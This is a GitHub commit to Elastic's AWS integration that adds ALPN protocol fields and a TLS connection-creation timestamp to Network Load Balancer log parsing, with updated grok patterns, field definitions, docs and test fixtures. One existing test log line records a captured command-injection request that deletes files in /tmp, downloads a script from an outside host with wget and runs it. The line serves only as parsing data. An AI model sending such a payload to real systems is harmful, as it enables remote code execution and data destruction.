Skip to content

Commit d5a097c

Browse files
agithomasagithomas
authored
AWS ELB add support for ALPN policy details in NLB logs (elastic#11590)
* AWS ELB add support for ALPN policy details in NLB logs
1 parent d5aaf3e commit d5a097c

File tree

7 files changed

+278
-5
lines changed

7 files changed

+278
-5
lines changed

‎packages/aws/changelog.yml‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,9 @@
11
# newer versions go on top
2+
- version: "2.31.2"
3+
changes:
4+
- description: Add the support for listeners with ALPN policy extension in ELB dataset for Network Load Balancers.
5+
type: bugfix
6+
link: https://github.com/elastic/integrations/pull/11590
27
- version: "2.31.1"
38
changes:
49
- description: Add `cloud.provider`, `event.kind`, and `observer.vendor` fields to _source as needed by CDR workflows.

‎packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,6 @@
11
http 2018-07-02T22:23:00.186641Z app/my-loadbalancer/50dc6c495c0c9188 192.168.131.39:2817 10.0.0.1:80 0.000 0.001 0.000 200 200 34 366 "GET http://www.example.com:80/ HTTP/1.1" "curl/7.46.0" - - arn:aws:elasticloadbalancing:us-east-2:123456789012:targetgroup/my-targets/73e2d6bc24d8a067 "Root=1-58337262-36d228ad5d99923122bbe354" "-" "-" 0 2018-07-02T22:22:48.364000Z "forward,redirect" "-" "-" "10.0.0.1:80" "200" "-" "-"
22
http 2022-05-12T06:41:29.051646Z app/admin-LoadB-1EGHQRJIOLMFR/3011821a43ee0c5e 67.43.156.20:41542 - -1 -1 -1 301 - 233 390 "GET http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+ a.tigoinari.tk/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" - - - "Root=1-627cac19-4c6df30820daa80e3fd72ced" "-" "-" 0 2022-05-12T06:41:29.051000Z "redirect" "https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ a.tigoinari.tk/jaws;sh+/tmp/jaws" "-" "-" "-" "Acceptable" "SpaceInUri"
3+
tls 2.0 2018-12-20T02:59:40 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com - - - 2018-12-20T02:59:30
4+
tls 2.0 2020-04-01T08:51:42 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com h2 h2 "h2","http/1.1" 2020-04-01T08:51:20
5+
tls 2.0 2024-10-25T17:33:59 net/k8s-xxxx-xxx-xxxxxxxx/53192f3a0 46712e747de 192.168.131.39:2817 10.0.0.1:80 108 65 256 527 - arn:aws:acm:eu-central-1:XXXXXXXXXXX:certificate/25c6-4fad-9d52-7fca046bb588 - ECDHE-RSA-AES128-GCM-SHA256 tlsv12 - [oauthce.eu-central-1.XXXX.c1.XXXXX.com](https://oauthce.eu-central-1.xxxx.c1.xxxxx.com/) http/1.1 http/1.1 \"http/1.1\" 2024-10-22T19:16:57
6+
tls 2.0 2024-10-25T17:33:59 net/XXXXX-XXXX-XXX-us-east-2/c88927aafc9abafe 52878890095341b5 192.168.131.39:2817 10.0.0.1:80 0 - 0 0 - - - - - - - - - - 2024-10-25T17:33:59

‎packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log-expected.json‎

Lines changed: 229 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -189,6 +189,234 @@
189189
"name": "Other",
190190
"original": "Hello, world"
191191
}
192+
},
193+
{
194+
"@timestamp": "2018-12-20T02:59:40.000Z",
195+
"aws": {
196+
"elb": {
197+
"backend": {
198+
"ip": "10.0.0.1",
199+
"port": "80"
200+
},
201+
"chosen_cert": {
202+
"arn": "arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99"
203+
},
204+
"connection_time": {
205+
"ms": 5.0
206+
},
207+
"listener": "g3d4b5e8bb8464cd",
208+
"name": "net/my-network-loadbalancer/c6e77e28c25b2234",
209+
"protocol": "tcp",
210+
"ssl_cipher": "ECDHE-RSA-AES128-SHA",
211+
"ssl_protocol": "tlsv12",
212+
"tls_connection_creation_time": "2018-12-20T02:59:30.000Z",
213+
"tls_handshake_time": {
214+
"ms": 2.0
215+
},
216+
"type": "tls"
217+
}
218+
},
219+
"cloud": {
220+
"provider": "aws"
221+
},
222+
"destination": {
223+
"bytes": 246,
224+
"domain": "my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com"
225+
},
226+
"ecs": {
227+
"version": "8.11.0"
228+
},
229+
"event": {
230+
"category": [
231+
"network"
232+
],
233+
"end": "2018-12-20T02:59:40.000Z",
234+
"kind": "event",
235+
"original": "tls 2.0 2018-12-20T02:59:40 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com - - - 2018-12-20T02:59:30"
236+
},
237+
"source": {
238+
"address": "192.168.131.39",
239+
"bytes": 98,
240+
"ip": "192.168.131.39",
241+
"port": 2817
242+
},
243+
"tags": [
244+
"preserve_original_event"
245+
],
246+
"tls": {
247+
"cipher": "ECDHE-RSA-AES128-SHA",
248+
"version": "1.2",
249+
"version_protocol": "tls"
250+
}
251+
},
252+
{
253+
"@timestamp": "2020-04-01T08:51:42.000Z",
254+
"aws": {
255+
"elb": {
256+
"alpn_be_protocol": "h2",
257+
"alpn_client_preference_list": "h2\",\"http/1.1",
258+
"alpn_fe_protocol": "h2",
259+
"backend": {
260+
"ip": "10.0.0.1",
261+
"port": "80"
262+
},
263+
"chosen_cert": {
264+
"arn": "arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99"
265+
},
266+
"connection_time": {
267+
"ms": 5.0
268+
},
269+
"listener": "g3d4b5e8bb8464cd",
270+
"name": "net/my-network-loadbalancer/c6e77e28c25b2234",
271+
"protocol": "tcp",
272+
"ssl_cipher": "ECDHE-RSA-AES128-SHA",
273+
"ssl_protocol": "tlsv12",
274+
"tls_connection_creation_time": "2020-04-01T08:51:20.000Z",
275+
"tls_handshake_time": {
276+
"ms": 2.0
277+
},
278+
"type": "tls"
279+
}
280+
},
281+
"cloud": {
282+
"provider": "aws"
283+
},
284+
"destination": {
285+
"bytes": 246,
286+
"domain": "my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com"
287+
},
288+
"ecs": {
289+
"version": "8.11.0"
290+
},
291+
"event": {
292+
"category": [
293+
"network"
294+
],
295+
"end": "2020-04-01T08:51:42.000Z",
296+
"kind": "event",
297+
"original": "tls 2.0 2020-04-01T08:51:42 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com h2 h2 \"h2\",\"http/1.1\" 2020-04-01T08:51:20"
298+
},
299+
"source": {
300+
"address": "192.168.131.39",
301+
"bytes": 98,
302+
"ip": "192.168.131.39",
303+
"port": 2817
304+
},
305+
"tags": [
306+
"preserve_original_event"
307+
],
308+
"tls": {
309+
"cipher": "ECDHE-RSA-AES128-SHA",
310+
"version": "1.2",
311+
"version_protocol": "tls"
312+
}
313+
},
314+
{
315+
"@timestamp": "2024-10-25T17:33:59.000Z",
316+
"aws": {
317+
"elb": {
318+
"alpn_be_protocol": "http/1.1",
319+
"alpn_client_preference_list": "http/1.1",
320+
"alpn_fe_protocol": "http/1.1",
321+
"backend": {
322+
"ip": "10.0.0.1",
323+
"port": "80"
324+
},
325+
"chosen_cert": {
326+
"arn": "arn:aws:acm:eu-central-1:XXXXXXXXXXX:certificate/25c6-4fad-9d52-7fca046bb588"
327+
},
328+
"connection_time": {
329+
"ms": 108.0
330+
},
331+
"listener": "46712e747de",
332+
"name": "net/k8s-xxxx-xxx-xxxxxxxx/53192f3a0",
333+
"protocol": "tcp",
334+
"ssl_cipher": "ECDHE-RSA-AES128-GCM-SHA256",
335+
"ssl_protocol": "tlsv12",
336+
"tls_connection_creation_time": "2024-10-22T19:16:57.000Z",
337+
"tls_handshake_time": {
338+
"ms": 65.0
339+
},
340+
"type": "tls"
341+
}
342+
},
343+
"cloud": {
344+
"provider": "aws"
345+
},
346+
"destination": {
347+
"bytes": 527,
348+
"domain": "[oauthce.eu-central-1.XXXX.c1.XXXXX.com](https://oauthce.eu-central-1.xxxx.c1.xxxxx.com/)"
349+
},
350+
"ecs": {
351+
"version": "8.11.0"
352+
},
353+
"event": {
354+
"category": [
355+
"network"
356+
],
357+
"end": "2024-10-25T17:33:59.000Z",
358+
"kind": "event",
359+
"original": "tls 2.0 2024-10-25T17:33:59 net/k8s-xxxx-xxx-xxxxxxxx/53192f3a0 46712e747de 192.168.131.39:2817 10.0.0.1:80 108 65 256 527 - arn:aws:acm:eu-central-1:XXXXXXXXXXX:certificate/25c6-4fad-9d52-7fca046bb588 - ECDHE-RSA-AES128-GCM-SHA256 tlsv12 - [oauthce.eu-central-1.XXXX.c1.XXXXX.com](https://oauthce.eu-central-1.xxxx.c1.xxxxx.com/) http/1.1 http/1.1 \\\"http/1.1\\\" 2024-10-22T19:16:57"
360+
},
361+
"source": {
362+
"address": "192.168.131.39",
363+
"bytes": 256,
364+
"ip": "192.168.131.39",
365+
"port": 2817
366+
},
367+
"tags": [
368+
"preserve_original_event"
369+
],
370+
"tls": {
371+
"cipher": "ECDHE-RSA-AES128-GCM-SHA256",
372+
"version": "1.2",
373+
"version_protocol": "tls"
374+
}
375+
},
376+
{
377+
"@timestamp": "2024-10-25T17:33:59.000Z",
378+
"aws": {
379+
"elb": {
380+
"backend": {
381+
"ip": "10.0.0.1",
382+
"port": "80"
383+
},
384+
"connection_time": {
385+
"ms": 0.0
386+
},
387+
"listener": "52878890095341b5",
388+
"name": "net/XXXXX-XXXX-XXX-us-east-2/c88927aafc9abafe",
389+
"protocol": "tcp",
390+
"tls_connection_creation_time": "2024-10-25T17:33:59.000Z",
391+
"type": "tls"
392+
}
393+
},
394+
"cloud": {
395+
"provider": "aws"
396+
},
397+
"destination": {
398+
"bytes": 0
399+
},
400+
"ecs": {
401+
"version": "8.11.0"
402+
},
403+
"event": {
404+
"category": [
405+
"network"
406+
],
407+
"end": "2024-10-25T17:33:59.000Z",
408+
"kind": "event",
409+
"original": "tls 2.0 2024-10-25T17:33:59 net/XXXXX-XXXX-XXX-us-east-2/c88927aafc9abafe 52878890095341b5 192.168.131.39:2817 10.0.0.1:80 0 - 0 0 - - - - - - - - - - 2024-10-25T17:33:59"
410+
},
411+
"source": {
412+
"address": "192.168.131.39",
413+
"bytes": 0,
414+
"ip": "192.168.131.39",
415+
"port": 2817
416+
},
417+
"tags": [
418+
"preserve_original_event"
419+
]
192420
}
193421
]
194-
}
422+
}

‎packages/aws/data_stream/elb_logs/elasticsearch/ingest_pipeline/default.yml‎

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -54,8 +54,8 @@ processors:
5454
%{NOTSPACE:aws.elb.listener}
5555
%{ELBSOURCE}
5656
%{ELBBACKEND}
57-
%{NUMBER:aws.elb.connection_time.ms:float}
58-
%{NUMBER:aws.elb.tls_handshake_time.ms:float}
57+
(?:-|%{NUMBER:aws.elb.connection_time.ms:float})
58+
(?:-|%{NUMBER:aws.elb.tls_handshake_time.ms:float})
5959
%{NUMBER:source.bytes:long}
6060
%{NUMBER:destination.bytes:long}
6161
(?:-|%{NUMBER:aws.elb.incoming_tls_alert})
@@ -64,6 +64,10 @@ processors:
6464
%{ELBSSL}
6565
(?:-|%{NOTSPACE:aws.elb.ssl_named_group})
6666
(?:-|%{NOTSPACE:destination.domain})
67+
(?:-|%{NOTSPACE:aws.elb.alpn_fe_protocol})
68+
(?:-|%{NOTSPACE:aws.elb.alpn_be_protocol})
69+
(?:-|\\?\"%{DATA:aws.elb.alpn_client_preference_list}\\?\")
70+
(?:%{TIMESTAMP_ISO8601:aws.elb.tls_connection_creation_time_str}|-)
6771
6872
pattern_definitions:
6973
ELBTIMESTAMP: '%{TIMESTAMP_ISO8601:_tmp.timestamp}'
@@ -221,6 +225,15 @@ processors:
221225
field:
222226
- _tmp
223227
ignore_missing: true
228+
- date:
229+
field: aws.elb.tls_connection_creation_time_str
230+
target_field: aws.elb.tls_connection_creation_time
231+
formats: ["ISO8601"]
232+
"if": "ctx.aws?.elb?.tls_connection_creation_time_str != null && ctx.aws?.elb?.tls_connection_creation_time_str != '-' && ctx.aws?.elb?.tls_connection_creation_time_str != ''"
233+
- remove:
234+
field: aws.elb.tls_connection_creation_time_str
235+
ignore_missing: true
236+
224237
on_failure:
225238
- set:
226239
field: event.kind

‎packages/aws/data_stream/elb_logs/fields/fields.yml‎

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -116,4 +116,23 @@
116116
type: keyword
117117
description: >
118118
The classification reason code.
119-
119+
120+
- name: alpn_fe_protocol
121+
type: keyword
122+
description: >
123+
The application protocol negotiated with the client.
124+
125+
- name: alpn_be_protocol
126+
type: keyword
127+
description: >
128+
The application protocol negotiated with the target.
129+
130+
- name: alpn_client_preference_list
131+
type: keyword
132+
description: >
133+
The value of the application_layer_protocol_negotiation extension in the client hello message. This value is URL-encoded.
134+
135+
- name: tls_connection_creation_time
136+
type: date
137+
description: >
138+
The time recorded at the beginning of the TLS connection.

‎packages/aws/docs/elb.md‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -79,6 +79,9 @@ Please refer to the following [document](https://www.elastic.co/guide/en/ecs/cur
7979
|---|---|---|
8080
| @timestamp | Event timestamp. | date |
8181
| aws.elb.action_executed | The action executed when processing the request (forward, fixed-response, authenticate...). It can contain several values. | keyword |
82+
| aws.elb.alpn_be_protocol | The application protocol negotiated with the target. | keyword |
83+
| aws.elb.alpn_client_preference_list | The value of the application_layer_protocol_negotiation extension in the client hello message. This value is URL-encoded. | keyword |
84+
| aws.elb.alpn_fe_protocol | The application protocol negotiated with the client. | keyword |
8285
| aws.elb.backend.http.response.status_code | The status code from the backend (status code sent to the client from ELB is stored in `http.response.status_code` | long |
8386
| aws.elb.backend.ip | The IP address of the backend processing this connection. | keyword |
8487
| aws.elb.backend.port | The port in the backend processing this connection. | keyword |
@@ -102,6 +105,7 @@ Please refer to the following [document](https://www.elastic.co/guide/en/ecs/cur
102105
| aws.elb.target_group.arn | The ARN of the target group handling the request. | keyword |
103106
| aws.elb.target_port | List of IP addresses and ports for the targets that processed this request. | keyword |
104107
| aws.elb.target_status_code | List of status codes from the responses of the targets. | keyword |
108+
| aws.elb.tls_connection_creation_time | The time recorded at the beginning of the TLS connection. | date |
105109
| aws.elb.tls_handshake_time.ms | The total time for the TLS handshake to complete in milliseconds once the connection has been established. | long |
106110
| aws.elb.tls_named_group | The TLS named group. | keyword |
107111
| aws.elb.trace_id | The contents of the `X-Amzn-Trace-Id` header. | keyword |

‎packages/aws/manifest.yml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
format_version: 3.0.0
22
name: aws
33
title: AWS
4-
version: 2.31.1
4+
version: 2.31.2
55
description: Collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent.
66
type: integration
77
categories:

0 commit comments

Comments
 (0)